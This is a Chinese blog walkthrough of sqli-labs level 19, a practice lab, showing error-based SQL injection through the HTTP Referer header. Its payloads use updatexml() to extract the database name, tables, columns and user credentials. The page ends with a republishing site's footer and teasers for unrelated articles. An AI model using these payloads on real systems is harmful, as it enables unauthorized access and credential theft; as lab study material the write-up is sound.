sqli-labs关卡19(基于http头部报错盲注)通关思路

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第十九关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关我们通过http头部的user-agent值进行注入,了解了http头部的一些常见可以注入的地方。这一关同样也是http头部注入,只不过不是user-agent了。这一关我就不先看源码了,有了上一关经验。

二、靶场第十九关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这里发现19关页面和上一关基本没区别,我们这里用一个测试账号登录(用admin)。因为登录才能记录用户的信息。(如图所示)
在这里插入图片描述
这里发现页面回显了一个referer字段,从上一关讲解可以知道,referer字段是http请求头部内容之一。它的作用是来记录你源地址url的,因为我没有跳转到其他页面,就是在第十九关页面输信息。所以referer字段就是第十九关的地址。因为页面带回的这个referer字段内容,那么可想而知,会不会是后台管理员把referer拼接到数据库后回显到web页面的呢?我们不妨试一试
用 and 1=1和and 1=2 发现页面正常,排除数字型。(如图所示)
在这里插入图片描述
在这里插入图片描述

直接提交单引号发现页面报错,报错语句为

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’)’ at line 1

在这里插入图片描述
通过报错语句可以猜测原始语句应该是

('refer','ip')

因为我们多了一个单引号所以报错了,我们尝试构造payload
也就是

1',1)#

那么在原始语句就是

('refer',1)#','ip')

这样就构造成功了,页面正常(如图所示)
在这里插入图片描述
现在我们来看源代码看看是不是这么回事
在这里插入图片描述
发现是和我们想到的语句一样。因为有报错回显,无回显数据内容,所以用报错盲注。

2、爆数据库名

注入语句为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1)#

在这里插入图片描述

3、爆数据库表

注入语句为

1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1)#

在这里插入图片描述
得到关键数据库表名users

4、爆数据库列

注入语句为

1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1)#

在这里插入图片描述
在这里插入图片描述
得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1)#

在这里插入图片描述
在这里插入图片描述
得到账号密码


总结

这一关也是通过http头部注入,只是注入点不同。只要知道原理,和怎么构造payload的话,基本没什么问题。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/148248.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

滑动窗口练习(一)— 固定窗口最大值问题

题目 假设一个固定大小为W的窗口,依次划过arr, 返回每一次滑出状况的最大值 例如,arr [4,3,5,4,3,3,6,7], W 3 返回:[5,5,5,4,6,7] 暴力对数器 暴力对数器方法主要是用来做校验,不在乎时间复杂度,逻辑上…

Network(四)NAT实现方式与VRRP概述

一 NAT 1 NAT概述 (1)NAT的作用 Network Address Translation,网络地址转换 通过将内部网络的私有IP地址转换成全球唯一的公网IP地址使内部网络可以连接到互联网。 (2)私有IP地址分类 A类10.0.0.0~10.255.255.…

云计算(Docker)

Docker简介 Docker 是一个开源的应用容器引擎,基于 Go 语言,并遵从 Apache2.0 协议开源。它可以让开发者打包应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。Docker 可用于开发…

飞天使-django之数据库简介

文章目录 增删改查解决数据库不能存储中文问题创建表数据类型表的基本操作主键唯一键 unique外键实战 增删改查 四个常用的语句查询 : insert delete update select insert into student(Sno,name) values(95001,"张三") delete from student where name张三 upda…

九、Linux用户管理

1.基本介绍 Linux系统是一个多用户多任务的操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,让后以这个账号的身份进入系统 2.添加用户 基本语法 useradd 用户名 应用案例 案例1:添加一个用户 m…

Vue中的watch的使用

先看下Vue运行机制图 那么我们思考一件事,vue是通过watcher监听数据的变化然后给发布-订阅,这样实现了dom的渲染,那么我们思考一件事,我们往往需要知道一个数据的变化然后给页面相应的渲染,那么我们工作中在组件中的数…

可拖动、可靠边的 popupWindow 实现

0 背景 开发要实现一个可以拖动的圆角小窗&#xff0c;要求松手时&#xff0c;哪边近些靠哪边。并且还规定了拖动范围。样式如下&#xff1a; 1 实现 首先把 PopupWindow 的布局文件 pop.xml 实现 <?xml version"1.0" encoding"utf-8"?> <R…

7.22 SpringBoot项目实战【收藏 和 取消收藏】

文章目录 前言一、编写控制器二、编写服务层三、Postman测试最后前言 本系统还支持 收藏图书,就是对心仪的书加一下收藏,大家都懂,这是一个很常见的功能。 那么我们来看看怎么来做,先分析一下:【一个人】对【一本书】只需【收藏一次】,但可以【收藏N本】不同的书,收藏…

Mac M1 M1 pro安装 protobuf 2.5.0

因为项目中的protobuf是2.5.0版本&#xff0c;但是旧版本的protobuf 不支持M1&#xff0c;此时需要修改源码重新编译 操作步骤&#xff1a; 从git上面下载对应版本的protobuf&#xff0c;地址&#xff1a;Release Protocol Buffers v2.5.0 protocolbuffers/protobuf GitHub…

深度学习之基于YoloV5苹果新鲜程度检测识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 深度学习之基于 YOLOv5 苹果新鲜程度检测识别系统介绍YOLOv5 简介苹果新鲜程度检测系统系统架构应用场景 二、功能三、系统四. 总结 一项目简介 深度学习之…

三十一、W5100S/W5500+RP2040树莓派Pico<TCP_Server多路socket>

文章目录 1 前言2 简介2. 1 使用多路socket的优点2.2 多路socket数据交互原理2.3 多路socket应用场景 3 WIZnet以太网芯片4 多路socket设置示例概述以及使用4.1 流程图4.2 准备工作核心4.3 连接方式4.4 主要代码概述4.5 结果演示 5 注意事项6 相关链接 1 前言 W5100S/W5500是一…

GitHub如何删除仓库

GitHub如何删除仓库 删除方法第一步第二步第三步 删除方法 第一步 在仓库的界面选择Settings 第二步 选择General,页面拉到最后。 第三步 删除仓库。

【Redis】zset常用命令集合间操作内部编码使用场景

文章目录 前置知识列表、集合、有序集合三者的异同点 普通命令ZADDZCARDZCOUNTZRANGEZREVRANGEZRANGEBYSCOREZPOPMAXBZPOPMAXZPOPMINBZPOPMINZRANKZREVRANKZSCOREZREMZREMRANGEBYRANKZREMRANGEBYSCOREZINCRBY 集合之间的操作ZINTERSTOREZUNIONSTORE 命令小结内部编码测试内部编…

C/C++---------------LeetCode第LCR. 024.反转链表

反转链表 题目及要求双指针 题目及要求 双指针 思路&#xff1a;遍历链表&#xff0c;并在访问各节点时修改 next 引用指向&#xff0c;首先&#xff0c;检查链表是否为空或者只有一个节点&#xff0c;如果是的话直接返回原始的头节点&#xff0c;然后使用三个指针来迭代整个…

windows 安装 Oracle Database 19c

目录 什么是 Oracle 数据库 下载 Oracle 数据库 解压文件 运行安装程序 测试连接 什么是 Oracle 数据库 Oracle数据库是由美国Oracle Corporation&#xff08;甲骨文公司&#xff09;开发和提供的一种关系型数据库管理系统&#xff0c;它是一种强大的关系型数据库管理系统…

lambda表达式c++

介绍 可调用对象 对于一个表达式&#xff0c;如果可以对其使用调用运算符&#xff08;&#xff09;&#xff0c;则称它为可调用对象。如函数就是一个可调用对象&#xff0c;当我们定义了一个函数f(int)时&#xff0c;我们可以通过f(5)来调用它。 可调用对象有&#xff1a; …

基于springboot实现校园在线拍卖系统项目【项目源码】计算机毕业设计

基于springboot实现校园在线拍卖系统演示 Javar技术 JavaScript是一种网络脚本语言&#xff0c;广泛运用于web应用开发&#xff0c;可以用来添加网页的格式动态效果&#xff0c;该语言不用进行预编译就直接运行&#xff0c;可以直接嵌入HTML语言中&#xff0c;写成js语言&…

Java多线程核心技术第一阶段-Java多线程基础 02

接上篇&#xff1a;Java多线程核心技术第一阶段-Java多线程基础 01 3.3 清除中断状态的使用场景 this.interrupted()方法具有清除状态标志值的功能&#xff0c;借用此特性可以实现一些效果。 【示例3.3.1】在MyThread4线程中向list1和list2存放数据&#xff0c;基于单一职责原…

asp.net mvc点餐系统餐厅管理系统

1. 主要功能 ① 管理员、收银员、厨师的登录 ② 管理员查看、添加、删除菜品类型 ③ 管理员查看、添加、删除菜品&#xff0c;对菜品信息进行简介和封面的修改 ④ 收银员浏览、搜索菜品&#xff0c;加入购物车后进行结算&#xff0c;生成订单 ⑤ 厨师查看待完成菜品信息…

开拓经验专栏:从十来天的晨型人体验开始

文章目录 拓新缘起契机实践心得 拓新 确定要新开一个板块&#xff0c;用来记录持续自我提升的经验和教训&#xff0c;着实遭遇了不少阻力。 首先&#xff0c;我的语文功底一向不行&#xff0c;当年高考前&#xff0c;语文分数在及格线上下跳动都是常事&#xff0c;现在却要通…